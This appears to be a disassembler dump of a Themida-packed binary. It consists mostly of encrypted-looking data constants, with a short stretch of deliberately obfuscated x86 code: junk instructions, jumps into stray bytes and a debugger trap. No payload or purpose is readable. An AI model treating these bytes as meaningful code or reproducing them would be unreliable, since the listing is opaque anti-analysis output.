		dd 25D6362Bh, 14BB1A06h, 31321566h, 4C6D2214h, 0A953CDECh
		dd 0F52770F3h, 90B91A61h, 24321566h, 2DDBFAD3h,	52321566h
		dd 0A9995214h, 1A958941h, 0C118265Dh, 4253158Ah, 0F153B3DDh
		dd 0AFF3561Fh, 0A3E9E263h, 2506E795h, 0D3EC3C9Ah, 4432068Fh
		dd 4722F666h, 0E426E7EFh, 0BB2CBAAh, 0DB93443Eh, 72379178h
		dd 31DFA8E5h, 87331282h, 4434D1E2h, 2239FC66h, 0DAAB1566h
		dd 6BBF98D9h, 226E245Fh, 2DEA2E41h, 11321FE4h, 5209E066h
		dd 45489369h, 0ABCA1566h, 0F51C14D3h, 81DBED61h, 30321566h
		dd 0F6532A4Bh, 38D56B01h, 711288EDh, 0C23D128Dh, 2232156Ch
		dd 1132108Fh, 0E7EDDC66h, 0FD631898h, 60F75F93h, 1165967h
		dd 0AC6E143Fh, 605E946Ah, 0E778E06Ah, 0AB547524h, 35470DDh
		dd 16DB74B5h, 2D321560h, 113207EEh, 883FFC66h, 5DD31566h
		dd 0B6563A4h, 0F5CB7731h, 87414D23h, 443209E2h,	34BD1A66h
		dd 0F8321566h, 88321577h, 0BFF1D752h, 0B6B1495Ah, 8C276030h
		dd 4B386AE7h, 600E9E25h, 0A3D49C30h, 113211A0h,	8CF49666h
		dd 181621E1h, 0A887306h, 11BA1A32h, 0E9321566h,	64DF90A1h
		dd 22331282h, 0A6521566h, 9AB6AFA5h, 0BD5359F6h, 741609EDh
		dd 0D7B3F3EFh, 88321562h, 0C336D3E5h, 426E3152h, 11319B69h
		dd 3541566h, 45B41AA4h,	0DE321566h, 3506EA07h, 8CF6963Fh
		dd 4434FC06h, 92581566h, 0B714766h, 88239D69h, 48DB1566h
		dd 75321566h, 0D6EDE4C6h, 0B5F8CEDAh, 2577506Dh, 751621EDh
		dd 0D6B3F2EFh, 88321562h, 0C336D2E5h, 2D6E315Ah, 113207E2h
		dd 883FFC66h, 0E6551566h, 9B2199F7h, 648B49D4h,	0DEABAD68h
		dd 0FE60F3EFh, 22321562h, 9268C367h, 0BCB511A0h, 4CDB4942h
		dd 0A321566h, 86DF571Ah, 8707A289h, 443219E5h, 24B61A66h
		dd 1E321566h, 883215E3h, 927DFC66h, 0A352EA99h,	18B95BA4h
		dd 0E9BFA167h, 5F77A8E5h, 2D331282h, 113709E2h,	1519E066h
		dd 43D6362Bh, 22339869h, 9AC71566h, 6C29FCEBh, 4438FC61h
		dd 16A1566h, 0BC381C69h, 18B58751h, 5415D4E7h, 0FB332361h
		dd 724CAD36h, 0BD7A13AFh, 28494B98h, 643A574Bh,	485C1047h
		dd 0BD7A2FE0h, 0F1C78BEFh, 426AD44Fh, 1132128Eh, 0C7657966h
		dd 0B38438D3h, 22321E8Fh, 0ADE1966h, 3744EF2Ah,	0E37D6C28h
		dd 9961743Eh, 4F243DCCh, 0A169CC4Fh, 0EEF3949Fh, 426C034Eh
		dd 91C09400h, 51851A3Ah, 2C674307h, 27B3094Dh, 0CBF7943Bh
		dd 1C86B85h, 0B51B4888h, 0A53D7538h, 11321566h,	0E9EC9E00h
		dd 1F854600h, 7954EDEEh, 9E36DD98h, 88279469h, 0C93D1566h
		dd 22321569h, 11321F8Fh, 0F763FB66h, 0A5C0713Ch, 88FCF885h
		dd 0CFB84206h, 82B1AC39h, 14534B32h, 2229700Eh,	353E9C66h
		dd 61CB4C3Eh, 44321568h, 912A6E5h, 5D9FC48Ch, 0A177C2C2h
		dd 0B199EB13h, 72D39C37h, 113211DEh, 0D0F31466h, 0C336D4E5h
		dd 0CB6E316Ah, 11321572h, 2610CE32h, 54BF7D4Fh,	0E3A78389h
		dd 0E484FE49h, 952B4720h, 1F162199h, 2236D1E7h,	0F8CE1566h
		dd 8832156Ch, 8F658D8Eh, 0B26C6FABh, 25CD28FFh,	4CB14C42h
		dd 70CDED62h, 0E6B14B42h, 1B91A62h, 87321566h, 44321FE6h
		dd 2237FC66h, 40FA1566h, 61A840D7h, 44321577h, 0E5F99417h
		dd 712F903Eh, 26B1BBFAh, 0FFE0873Eh, 7A664582h,	11321163h
		dd 8CF29666h, 181611E1h, 0FA17FC93h, 9D3DEA99h,	88321567h
		dd 64B7D29Ah, 2035FE9Fh
		dd 0F8321566h, 8832156Ah, 0DC6984CDh, 0D9C83E36h, 0D2B9C1F3h
		dd 1C59C31h, 600E9E9Dh,	0DB36D1E5h, 113DFD06h, 0FD8A1566h
		dd 0D3ACC7A1h, 87BFD2C0h, 0D6C4B1ABh, 8835FC3Bh, 5C3E1566h
		dd 885B9D5Fh, 0A63D4C66h, 3E3D74BFh, 0BDB2E968h, 6AB11AE6h
		dd 0F8321566h, 88321577h, 79943803h, 0FECEDCA9h, 4105BE6Bh
		dd 0E0A84636h, 7AF194A2h, 0A31F1807h, 6A68818Dh, 9F91430h
		dd 3F6881A5h, 1CD99430h, 0ED1F1807h, 77CDAF34h,	971BEA99h
		dd 9EDBE93Ch, 71321566h, 56D8AE00h, 0C553D4EDh,	2232118Ah
		dd 352E9C66h, 4FCC26D1h, 0A3B2C290h, 2ADD9574h,	913AFAA6h
		dd 711AEA91h, 45B81A3Dh, 0DE321566h, 113C9C69h,	81DB1566h
		dd 3B321566h, 0ACE95571h, 0E3DA5A12h, 8832150Eh, 603E3C66h
		dd 0A11619EDh, 923D11A2h, 8832157Fh, 44219669h,	2CDB1566h
		dd 0F321566h, 780C3B98h, 272F1379h, 0C451873Dh,	306E7D04h
		dd 0A4BB1566h, 428DA842h, 0E7B355E7h, 0AE4CEF26h, 876FFC47h
		dd 44320CEFh, 2226FC66h, 82721566h, 59640D45h, 9E9587h
		dd 83E8B0AEh, 3C0EEF34h, 36640B71h, 4C5B696Ah, 0B6CE667h
		dd 1DD994ADh, 873A7C1Ah, 443214E5h, 0A9CAE066h,	0F51158E3h
		dd 8837FC61h, 1D011566h, 0A983D053h, 0F52770F3h, 0F3D7561h
		dd 44321560h, 8319DBE7h, 953D1450h, 88321566h, 0BF37FC07h
		dd 0E5CBEA99h, 0FACB35E3h, 88321761h, 0CF547566h, 0AB6374A0h
		dd 3DB34497h, 0B9066342h, 87B34E46h, 2032110h, 1D88753Fh
		dd 867FF44h, 0AD536C83h, 22321576h, 20712A59h, 0AF511CC0h
		dd 6A998BD8h, 35319947h, 0E43CA369h, 87B2ECE6h,	443266E5h
		dd 0A9547566h, 0DE8B739Dh, 63B3744Ah, 26A96345h, 37FBFEE7h
		dd 0DA333EEDh, 9DFBD6E7h, 87B33EEDh, 40A96345h,	11321D8Fh
		dd 0E10A66h, 5F80AB15h,	238B44FCh, 10321566h, 43D4CADh
		dd 44321572h, 22321A8Fh, 415EF066h, 2682ADD9h, 0F4079729h
		dd 2FF7C03h, 11399A69h,	8EDB1566h, 5E321566h, 0B1489579h
		dd 119BFCFBh, 8DDB1566h, 41321566h, 26136372h, 39CDA334h
		dd 0AC269E97h, 4436D1E7h, 4ACB1566h, 11321566h,	0F81639E7h
		dd 6D405618h, 26B3316Ah, 524C6542h, 61524C14h, 44321572h
		dd 0CF567E35h, 5A2DDE5Fh, 4E2E2C22h, 371C78FCh,	986B1B62h
		dd 1132128Fh, 0C67F9B66h, 0EF539939h, 0DD894607h, 30321566h
		dd 0AC2E9EBFh, 4436D1E7h, 74521566h, 0F86A86D6h, 8832156Dh
		dd 0A5125C1Ch, 9AB42727h, 70E5D5C7h, 0BC21D6E7h, 0AFB36D2Ch
		dd 107D4287h, 0D2B3DE4Fh, 0BA7D4287h, 7021FEE7h, 44526D2Ch
		dd 683CEE7h, 87537506h,	443215EEh, 0A9537466h, 0F51158E3h
		dd 95BB1A61h, 4B321566h, 223202E1h, 1120FC66h, 86E31566h
		dd 0AD9FC9FAh, 314B2F71h, 0F97BA712h, 86E6971Ah, 515780EDh
		dd 2CDB1282h, 0A6321566h, 65FD1449h, 0A7F9D864h, 51BAC679h
		dd 548F96D8h, 8935F17Dh, 0B3089169h, 2CDBEA99h,	8C321566h
		dd 1CEA320Bh, 5D0EF373h, 947CC731h, 1EEA2EB4h, 88320AE4h
		dd 4423FC66h, 0CDFC1566h, 1D89DC2h, 0B5F292A4h,	0A982D89Fh
		dd 1B5EC9ABh, 0ADB41AB5h, 7DCDEA8Bh, 1BBBAD36h,	2F727380h
		dd 108A5A5Ch, 0C831F5A7h, 49303B63h, 7AF414A6h,	15DE969Ah
		dd 91621EFh, 1A9B314Ah,	0A36B4796h, 0E16CBCA7h,	80B81A34h
		dd 24321566h, 22329A69h, 90531566h, 9D7875A7h, 12CB3C42h
		dd 7E7397D8h, 0CFF49419h, 0A196AC6Eh, 0C23D4B97h, 22321567h
		dd 0AA61479Fh, 0A1B13E92h, 7FEFFEE7h, 0E1B34FFEh, 68197263h
		dd 4CD19425h, 0C535A301h, 27250595h, 0E0F1946Eh, 1C5F9C9h
		dd 951B4EBCh, 32DB753Ch, 7A321566h, 0D408353Ah,	3D1029C7h
		dd 4CA99D8Dh, 70EB878Fh, 0D9B5A037h, 0A1F2ECD3h, 20D7D56Eh
		dd 0D15CF0E6h, 65B21683h, 1DDA9DF8h, 0D76BFD66h, 9152E9CCh
		dd 373D82ABh, 15627497h, 63E9E3Eh, 1136D1E7h, 23CE1566h
		dd 97EBFC9Fh, 73C7EA99h, 113215DFh, 73DB9466h, 45078004h
		dd 0D9F39497h, 9B078004h, 93D4C67h, 44321576h, 22321E8Fh
		dd 27D43A66h, 0AB89FA8Dh, 0A6EC4BE6h, 0A63DFD5Ah, 1132155Dh
		dd 88321D8Fh, 2801B066h, 42D64BC0h, 0E48D42BBh,	7F57262Fh
		dd 95E5E2B1h, 0D8DD9489h, 46008CC2h, 61C74A3Eh,	4432140Ah
		dd 22321B8Fh, 20FBAF66h, 9D211D2Ah, 653FB7EDh, 4AD74157h
		dd 11323406h, 0E81609EFh, 22F89E00h, 3B15D3E7h,	98624707h
		dd 0D0F09C96h, 4B68C6EFh, 22321DE4h, 13B31A66h,	0E8321566h
		dd 458A4507h, 27321566h, 1E372E01h, 0EF1FE567h,	473D105Dh
		dd 25DB4D7Eh, 3E321566h, 47A6AF44h, 0C63D8EA0h,	22321567h
		dd 148C439Ah, 9321566h,	0CF434AA5h, 0A3C11470h,	9A434A8Dh
		dd 60524B70h, 44321560h, 26CCC1D4h, 0A63D59CDh,	8DDB4CBCh
		dd 1E321566h, 0BCD7B9A9h, 0A0637307h, 0EEFA9D54h, 0B2F2EB3Fh
		dd 0DA1721BEh, 1132128Fh, 887DE966h, 0F9F84E9Dh, 688A75CCh
		dd 912C6FAFh, 9536C92h,	0CC5E10A5h, 0C8D9942Eh,	3841773Ch
		dd 62F1949Dh, 0C541773Ch, 0AA5E108Dh, 7963EC2Eh, 88321562h
		dd 1DF93C3Fh, 223D9C69h, 1BDB1566h, 62321566h, 0A16C1CEDh
		dd 0C8B4D15Eh, 20EA2408h, 0E8EA24A5h, 85AAE7E7h, 89532DDFh
		dd 3506EA9Fh, 8CF6963Dh, 442A9269h, 44521566h, 0F8A922DDh
		dd 8832156Bh, 6397EA2Dh, 0EEFE7666h, 414CF301h,	326074F7h
		dd 44321563h, 36B9C367h, 15F69442h, 0E8321566h,	1B8DC1ECh
		dd 4375C7B5h, 1133AE35h, 1601566h, 1EE29CBCh, 37BC1A3Dh
		dd 0F8321566h, 88321576h, 2A036EFAh, 86E725C1h,	0F94C3B58h
		dd 13B3B43Dh, 4421FCA5h, 5E6D1566h, 0F53411CDh,	820BBFEEh
		dd 698BF11Bh, 0FA35BDD4h, 0F1BB4592h, 88321163h, 44363866h
		dd 26B51566h, 1DBB4942h, 8835FC42h, 0CDAD1566h,	0C3630DD2h
		dd 27CD7366h, 0AC369E00h, 0AD30D1E5h, 22321563h, 5E782E81h
		dd 87F12988h, 44331BE2h, 0E90EE066h, 10379169h,	0B4CE1566h
		dd 2B61AA4h, 42321567h,	0EFB97334h, 0E9EC9F39h,	0C03DDF5Ah
		dd 22321453h, 1132188Fh, 0C45DC866h, 9160DF88h,	53F8A228h
		dd 2C5476F1h, 0C3D3099h, 4432140Fh, 22339069h, 77CE1566h
		dd 87CD3B5Bh, 443295E3h, 3BB71A66h, 0F8321566h,	88321572h
		dd 0F38C8B3Dh, 0F5870C5Ch, 0AC96974Ah, 4AA0261h, 212488AEh
		dd 2236F9E7h, 0DBB1566h, 8830AE42h, 0B7331566h,	2D6916ECh
		dd 113211EFh, 7AB97566h, 0C2844707h, 0DC31FBA6h, 8F495A8h
		dd 44864500h, 1C54F356h, 0A207E3E6h, 0E1123490h, 348D753Ch
		dd 24375458h, 436C459Ah, 1E922907h, 883322E2h, 443DFC66h
		dd 7B531566h, 0BDF3D53Dh, 49BD21F1h, 2345307h, 606EACBh
		dd 15F6943Fh, 7D321566h, 350BA833h, 0D7B300F3h,	7F0626E5h
		dd 496FFDEFh, 1307168Eh, 2D3D614Eh, 113214E2h, 7BDBE966h
		dd 0B8321567h, 2237FD06h, 69161566h, 0E8A50122h, 75534B07h
		dd 28DB75AFh, 36321566h, 0C0AC88A6h, 28885FDAh,	0E8B973D9h
		dd 728F4007h, 7F0AC336h, 27C794B3h, 0B0AC336h, 1E52488Fh
		dd 883217EBh, 4BFBA366h, 0CB53EAD1h, 11321580h,	88339C69h
		dd 24CA1566h, 0FE4201D9h, 0E9B97358h, 7F8D4207h, 0C56D2A4Ah
		dd 5E7D7091h, 0D2D59446h, 0D83C1E43h, 734433DEh, 1EB1835h
		dd 0B81717D6h, 0AD05C26Bh, 7CF03E1Bh, 0EE1FC591h, 10E8CEF8h
		dd 47B34DA1h, 55574154h, 0F789FAE7h, 0E8BB2683h, 8837FC39h
		dd 4FD51566h, 0CB0426E1h
		dd 113215E0h, 0E062429Ah, 3B4D26EEh, 27D2D43Eh,	1FB12026h
		dd 4F0747B1h, 0CDC2E075h, 0CDF34DA1h, 77DD946Eh, 13258A2h
		dd 4CDB4A9Fh, 67321566h, 0BED3934Bh, 61A1BC1Eh,	44321528h
		dd 223F9069h, 0AE521566h, 92AEA17Eh, 44329469h,	0D7531566h
		dd 1575AB30h, 6EF316A5h, 3DC946Eh, 6C61160Dh, 30D7F3E7h
		dd 7EB33883h, 643214C1h, 16B9E4EFh, 15F69642h, 8832048Fh
		dd 0D699D766h, 8D9260F5h, 9C8994A7h, 798DBB7h, 0E0C1F581h
		dd 2232188Fh, 0BAB72366h, 9B7AEE89h, 5F472133h,	0AFB95971h
		dd 16D60003h, 883E9969h, 0C33D1566h, 22321560h,	11329669h
		dd 8EDB1566h, 0D4321566h, 2A2012A4h, 1EFB908Fh,	88320AE3h
		dd 4421FC66h, 19441566h, 0C34A278Dh, 24F55AFFh,	52C47FBh
		dd 1093AFB7h, 74879C40h, 7D35F173h, 171619EDh, 0E1B3F6EFh
		dd 11321562h, 0F36D6E5h, 4B6E317Ah, 223202ECh, 1120FC66h
		dd 0FCD1566h, 0B7E6C8D1h, 0E0ED537Eh, 0FDF85D6Ah, 0B61A70DFh
		dd 0FF614393h, 22321567h, 9869CBEFh, 87524B96h,	443217E4h
		dd 0CA39A366h, 11321574h, 0D951E6EBh, 0BDB17A7Ch, 0E931353Dh
		dd 9DAE8B6Fh, 0C3D744Ah, 44321566h, 0DBF1743Dh,	9836F9E5h
		dd 8889317Ah, 45321566h, 21B97395h, 9054753Dh, 0D8222A81h
		dd 256A7406h, 0A63DD65Ah, 113214BAh, 8832078Fh,	4E3AF866h
		dd 0DA3CA000h, 5C0B5216h, 18525459h, 2482E48Dh,	22349E69h
		dd 973D1566h, 88321566h, 15537506h, 70537439h, 9963D7EEh
		dd 0D1F99DB7h, 443DFC3Ch, 14E61566h, 71B0459Fh,	0CA7861ADh
		dd 8AC861DDh, 8582459Bh, 5816EA62h, 0D106BC62h,	246AD646h
		dd 22319269h, 9A541566h, 0E9C2A0A8h, 4B42EEE6h,	223637E2h
		dd 0A9547566h, 73D1A18h, 4432156Bh, 22321D8Fh, 0AF710366h
		dd 601CD564h, 0AD0E748Dh, 237C9169h, 2DCE1566h,	0CDB61A8Dh
		dd 0BD321567h, 0D9B97306h, 0D30E7493h, 89049169h, 0C93D1566h
		dd 22321577h, 1132198Fh, 0E3DCBA66h, 1C8D2597h,	0ABDA6Bh
		dd 1EF92992h, 883302E2h, 48BE1A66h, 2D321566h, 113213EEh
		dd 88BC1A66h, 22321566h, 2D17EA5Bh, 1132EEE2h, 3F3D7566h
		dd 225274A8h, 1D39F7E7h, 0DAF79537h, 420E7439h,	44D09169h
		dd 1ECA1566h, 9DB61A85h, 61321565h, 44321560h, 188FEE5h
		dd 1FDB62D7h, 5E321566h, 0FBAB77D1h, 7EC7312Dh,	8A75376Ch
		dd 0A60F7369h, 18B71A99h, 42321566h, 0F6B3739Ah, 0D9535748h
		dd 4432170Eh, 0D3334C66h, 716B14ECh, 492661D9h,	1753E91Eh
		dd 0A22EA334h, 0E7B2B390h, 0D2C59D59h, 6459D2E6h, 44524E9Eh
		dd 29A3DEE7h, 8832048Eh, 8A018A66h, 436AE6F2h, 9B0AEE99h
		dd 4C417B23h, 0B7B34AB5h, 0F85076Ah, 0B10E7438h, 88649169h
		dd 2CCA1566h, 22326C26h, 0AE1629EFh, 0F0232061h, 337F2A7h
		dd 82D3FAE7h, 0E9BB1740h, 82DA7539h, 99321566h,	31BFA89Ch
		dd 0DAE3756Eh, 46D09591h, 443AFC3Dh, 0AE961566h, 0BF25A8D2h
		dd 61534E62h, 4432151Eh, 22321A8Fh, 0B15E0066h,	0A599A65Ah
		dd 1214173Ah, 6E21A481h, 457A0EFh, 84DB1282h, 0C3321566h
		dd 0A4E188B9h, 17714BD9h, 7DF2C21Fh, 8D0A88EBh,	0DDC7128Ch
		dd 1ADA75B5h, 85321566h, 0E47AA76Bh, 40C2BEDEh,	4B60AFEAh
		dd 3664743Eh, 4B323DACh, 0ECB5CB91h, 0DFB5C491h, 0EB2FF3E7h
		dd 0C57C4105h, 22121288h, 4FC29C62h, 88321E8Fh,	0C64A1766h
		dd 0D2B3619Eh, 554C679Eh, 73DE0A5h, 44321572h, 22BF1A06h
		dd 0F8321566h, 88321561h, 6BD1CEA5h, 4342B6FBh,	1160480Eh
		dd 0AC369C66h, 52B51A9Ah, 2D321566h, 113205ECh,	8839FC66h
		dd 973B1566h, 0BBECA214h, 0AB298765h, 8CDE9615h, 0FD1619EFh
		dd 22321576h, 10B9E467h, 33D753Fh, 44321560h, 22329B69h
		dd 0E3B31566h, 0C4804456h, 0B9B79C07h, 4235F14Fh, 90B0AB00h
		dd 88329369h, 0BB531566h, 0A16A3152h, 2DB11A2h,	15321566h
		dd 0B11820FAh, 0FEFE46E4h, 5C79831Bh, 0A6ED97AFh, 0FB65FB2Bh
		dd 2232157Ah, 2DB9EB67h, 8CF69442h, 24321566h, 22309869h
		dd 0CEB91566h, 0CCF9AB00h, 5CB81A07h, 0CB321566h, 11321575h
		dd 0A5D9E938h, 3314B0FAh, 0A6BD24ACh, 0B8C08942h, 5D15A93h
		dd 0A02AC0DBh, 2220FC61h, 0F2D81566h, 83DA5B4Ah, 0EF678D20h
		dd 0B1A2ADF9h, 73704E15h, 3163EDCBh, 2C574B1Ch,	216BDD4Fh
		dd 14163122h, 0E0574B1Ch, 4432018Fh, 420DB366h,	0AC748388h
		dd 25627F07h, 5D5073h, 81C43D0Bh, 1E52BE25h, 883217E7h
		dd 0C4F9A566h, 0AF53A08Bh, 0F5271CDBh, 83B41A61h, 24321566h
		dd 2DC29E00h, 113215E6h, 0E89F7466h, 43DBCCEDh,	0FD321566h
		dd 72E55768h, 0DE5379F3h, 723ADD8h, 20D4D435h, 9030FBA7h
		dd 2A08DB80h, 0D6DC9453h, 0BDFD98Ch, 55314B96h,	7E373142h
		dd 24112043h, 42F09400h, 80897368h, 1677449h, 40F79483h
		dd 0A1321566h, 3DB5118Bh, 8CBB4942h, 96817542h,	8953B3D3h
		dd 1132068Fh, 78A0A366h, 418CE905h, 6C9E1754h, 84432D0Eh
		dd 98C15924h, 6257A8EBh, 0A83D1282h, 11321563h,	71537506h
		dd 41DBB807h, 0A4321566h, 0AAA076F8h, 8832188Fh, 0D6D18566h
		dd 96FB625Dh, 566C8EBEh, 3765B321h, 462242D2h, 216DED67h
		dd 3C1A3122h, 8A2242D2h, 44379569h, 75521566h, 0BA53E038h
		dd 8AE19406h, 4B0D4026h, 0A953DFD1h, 98643152h,	8CF49480h
		dd 0C7321566h, 16B511A0h, 963D4942h, 88321546h,	4420FD06h
		dd 9C9B1566h, 7271C44Eh, 460ABA47h, 354184F5h, 0EB9386B8h
		dd 11B01A3Fh, 0E9321566h, 0F33D75A5h, 0F9B37396h, 9053D668h
		dd 8832118Ah, 60069C66h, 0FD851A06h, 11319A69h,	373D1566h
		dd 0D9BF74A6h, 25D8DD3Dh, 11321A8Fh, 0BB6B9C66h, 0D883CA6h
		dd 98951D06h, 6CE47A41h, 8FDBC699h, 7F321566h, 220BF551h
		dd 0A5DBB923h, 87CDEA9Ah, 3214ECh, 0CEDFF500h, 0A86CD24Eh
		dd 458AFD4Ah, 0D5F251A2h, 0AE2475C0h, 0A8ED96A5h, 458A152Ah
		dd 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah,	162C5E89h
		dd 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h, 798A152Ah
		dd 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah,	54A851D6h
		dd 0BA8660D5h, 0CE2559D7h, 4261BCBFh, 3832DCF1h, 0BA8DFE80h
		dd 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h, 0BF01F438h
		dd 0DF07462Dh, 5343FBCEh, 3C6D5h, 5492B85Eh, 3075152Ah
		dd 5CDDAEAEh, 0EC3B8FA7h, 0D9FB5649h, 0AE2079B0h, 0DD7BAEA5h
		dd 5863E96Fh, 0ABA851A2h, 3075195Fh, 0E932DCAAh, 168DFE83h
		dd 0FEC4CB2Fh, 967512C1h, 0BD54142Bh, 458A152Ah, 0A8EDDAC3h
		dd 4582D7E3h, 3044BAh, 499D8D00h, 0B807E40Fh, 2490h, 0F58589h
		dd 0E807E4h, 58000000h,	0D05h, 0E9038900h, 2490h, 49h dup(0)
		dd 83000000h, 0A4F305E9h, 5203CB8Bh, 6612E208h,	0FD952F82h
		dd 5310FB75h, 0B959473Ah, 3256D5BAh, 3256EC58h,	0CD96CCB1h
		dd 3DD2BF71h, 32564B38h, 22D0A1B1h, 0DB5657B1h,	3256ABBAh
		dd 0E9839ADBh, 0B0A4F305h, 0F29D11F1h, 2375FD7Ah, 0DE2A17FBh
		dd 0D525FA91h, 0ADFDF53Fh, 909E9C30h, 0CFB73422h, 0B723AC7Ah
		dd 1A20AD29h, 7975FD7Ah, 3C987C27h, 0A0721618h,	83152CFFh
		dd 0A4F305E9h, 0BD8DDB8Bh, 7EBF924h, 81078D8Dh,	44B807ECh
		dd 2B321566h, 2E9C1CFh,	0C8D00731h, 4904C783h, 0CE9F675h
		dd 0AE000000h, 0FFD2EE24h, 780BAA22h, 0E9BF6215h, 10h
		dd 0FF62D5DEh, 0F2722432h, 0BAC803AFh, 64E10DE2h, 9E9h
		dd 0FB0B4B00h, 46F8D4A4h, 0DF68C03Fh, 89000013h, 0E9582404h
		dd 0Eh,	30AD4D67h, 5155DEDBh, 0B52220B4h, 0BD83F822h, 7E413F1h
		dd 83097500h, 0E40935BDh, 19740007h, 0C08B5350h, 411B8h
		dd 0ED858900h, 8D07E40Eh, 0E6EA579Dh, 5BD3FF07h, 35BD8358h
		dd 7E409h, 53501774h, 411B8h, 0ED858900h, 8D07E40Eh, 0E6E6F89Dh
		dd 5BD3FF07h, 0B960F858h, 41252E77h, 48B5061h, 4C48324h
		dd 6E9h, 1B141800h, 0F82DE1D4h,	5E8h, 0EA781A00h, 0D580E360h
		dd 8F0F5827h, 9, 3830Fh, 0CD800000h, 14C081BDh,	6800005Dh
		dd 0
; ---------------------------------------------------------------------------
		and	cx, 9C48h
		pop	ebx
		mov	ch, bl


loc_60A934:				; CODE XREF: Themida_:0060A9B6j
		push	dword ptr [ebx+eax]
		push	edx
		mov	dh, 96h
		pop	esi
		pop	edi
		jmp	loc_60A955
; ---------------------------------------------------------------------------
		db 9Dh,	2 dup(0F3h)
		dd 0EE8C7609h, 0AC2F6C0Ah, 1E21D045h, 0BE86A016h
		db 0EFh
; ---------------------------------------------------------------------------


loc_60A955:				; CODE XREF: Themida_:0060A93Cj
		xor	edi, 5CCF7CF6h
		mov	cx, 0E1F6h
		add	edi, 3894772Ch
		pusha
		mov	ebx, edi
		xor	cl, 0F5h
		popa
		sub	edi, 75C1AE93h
		movzx	ecx, dx
		push	edi
		add	esi, 217B4FE1h
		pop	dword ptr [eax+ebx]
		mov	dx, 4664h
		sub	ebx, 2
		sbb	ecx, 42AA65A2h
		dec	ebx
		dec	ebx
		jge	loc_60A996
		mov	ecx, ebx


loc_60A996:				; CODE XREF: Themida_:0060A98Ej
		cmp	ebx, 0FFFFA3A4h
		jnz	loc_60A9B4
		mov	ecx, 2C17070Ah
		jmp	loc_60A9C5
; ---------------------------------------------------------------------------
		dec	ebp
		adc	[ebx], edi
		int	3		; Trap to Debugger
		and	al, 64h
		adc	al, 77h


loc_60A9B4:				; CODE XREF: Themida_:0060A99Cj
		mov	dl, 84h
		jmp	loc_60A934
; ---------------------------------------------------------------------------
		db 66h
		dd 37C6439Eh, 0BBA26105h
; ---------------------------------------------------------------------------
		xchg	eax, esp


loc_60A9C5:				; CODE XREF: Themida_:0060A9A7j
		jmp	loc_60A9D4
; ---------------------------------------------------------------------------
		dw 910Dh
		dd 5489h, 0
; ---------------------------------------------------------------------------


loc_60A9D4:				; CODE XREF: Themida_:loc_60A9C5j
		jmp	loc_60AEC5
; ---------------------------------------------------------------------------
		push	7EC8646h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EC86C5h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EC8864h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		retn	0C8EAh
; ---------------------------------------------------------------------------
		dw 1E34h
		dd 7B912545h, 0DBF1859Fh, 3E54E8FCh, 0DAB34763h, 44603B14h
		dd 0A2C09AB0h, 41AF80Eh, 657D5A70h, 0F16E1ED1h,	13AE250Ah
		dd 56F483C8h, 710F5F7Bh, 0A66C7E92h, 4FE3FBD8h,	8F390375h
		dd 0DEA46E38h, 95E6A9CCh, 0CF6AA2B6h, 917D027Fh, 70D91442h
		dd 0F365C717h, 5EF86E19h, 25DA571Ch, 0B114428Ah, 8763EF48h
		dd 64625B6Dh, 3213A6A1h, 49A2B896h, 0F69B6411h,	1F3013A6h
		dd 0BBC83767h, 0FD0DD877h, 36000002h, 0E81C745h, 70DE50A0h
		dd 90162549h, 0F3704E60h, 13A61C25h, 76818AF3h,	0EEC37AFCh
		dd 4D9D117Eh, 0EC82B2D0h, 9FD74016h, 97E7C7C8h,	88BFBD1Ah
		dd 1060C91Eh, 0E97D9572h, 0CEABF6D3h, 57E37EB6h, 8E29617Bh
		dd 6995E135h, 90D05CF0h, 3380Ah, 0A2C49C00h, 0FF1FF80Eh
		dd 5F79556Bh, 0C2D6B5CBh, 213D182Eh, 154EB48Dh,	748A1E3Ah
		dd 0D2E87C9Ah, 344ADEF4h, 0F8AB3F57h, 2634CB48h, 5DA213AEh
		dd 6C424DCEh, 259F9F1Ch, 19B513AEh, 0FA10EE3Fh,	96CE27C2h
		dd 7A926FFBh, 0FE4EA742h, 6EE95D8Ch, 2B3DB361h,	0B8D4AF4Dh
		dd 0CDAC4A24h, 0B28DA7B9h, 31B15E96h, 84EC5151h, 0AEDEA522h
		dd 137C13AEh, 0F20AE701h, 16BBE29Eh, 0D157976Ah, 2B9h
		dd 8D21431Bh, 0EA7E9E77h, 4ADEF8D4h, 0AD415534h, 0CA0BC97h
		dd 0B994CD33h, 19F3099Dh, 735167FBh, 0D6B3C95Dh, 0C7772ABEh
		dd 0AE26B54Ah, 4DDC2113h, 1162092h, 0DB1DE25Fh,	50B91442h
		dd 0AF34CFF0h, 99157A9Dh, 956AE749h, 41144205h,	6BE8C6D8h
		dd 13AE80D3h, 2AC81881h, 64FF374Bh, 1CDF8C52h, 0AB13AF8Ah
		dd 11AFEA9Ah, 48E31B35h, 0F3A45B36h, 0B531D86Eh, 5A000001h
		dd 415A7956h, 7317EECEh, 56027EECh, 5E3D72F6h, 22FFCD05h
		dd 0DB58BA0Ah, 14420B24h, 153749B2h, 0C51599F6h, 0FF840163h
		dd 5B14420Bh, 0BF087F2h, 0FE5E1442h, 420BFA81h,	96EF5814h
		dd 0D244A684h, 631F8782h, 968FA15Ah, 13A63414h,	0C8E0BD5Bh
		dd 5C3BD7B6h, 0E9751048h, 22BDF50Bh, 9DFF91C9h,	0A63B5B20h
		dd 3E8EF713h, 0A63B3AC1h, 1D2F9813h, 0A63B5B24h, 94DFBC13h
		dd 0E469FB7h, 0F476740h, 0B7FBAB2Eh, 66164E5Fh,	0D8778299h
		dd 3B3Eh, 424D6700h, 0E99F1C6Ch, 0A813A6A9h, 637CFE36h
		dd 1692B1D3h, 9FDA3AA7h, 624153C1h, 43CFEBC6h, 0BBF34C68h
		dd 98AC8B29h, 2BF28D86h, 485913A6h, 869F601Ch, 0AA38D877h
		dd 61000000h, 29617956h, 56D33597h, 1442A0A1h, 0A259C42Dh
		dd 301442A0h, 0C09BB5C7h, 0C19E6CA4h, 0DFBB59A9h, 0E0F28DC5h
		dd 576F4C1Ah, 0A4F3CEC3h, 67441442h, 0F39CBB4Fh, 3B94AA88h
		dd 43D06EEBh, 359E13A4h, 7E583E5h, 0C1EB9F1h, 67FB17F2h
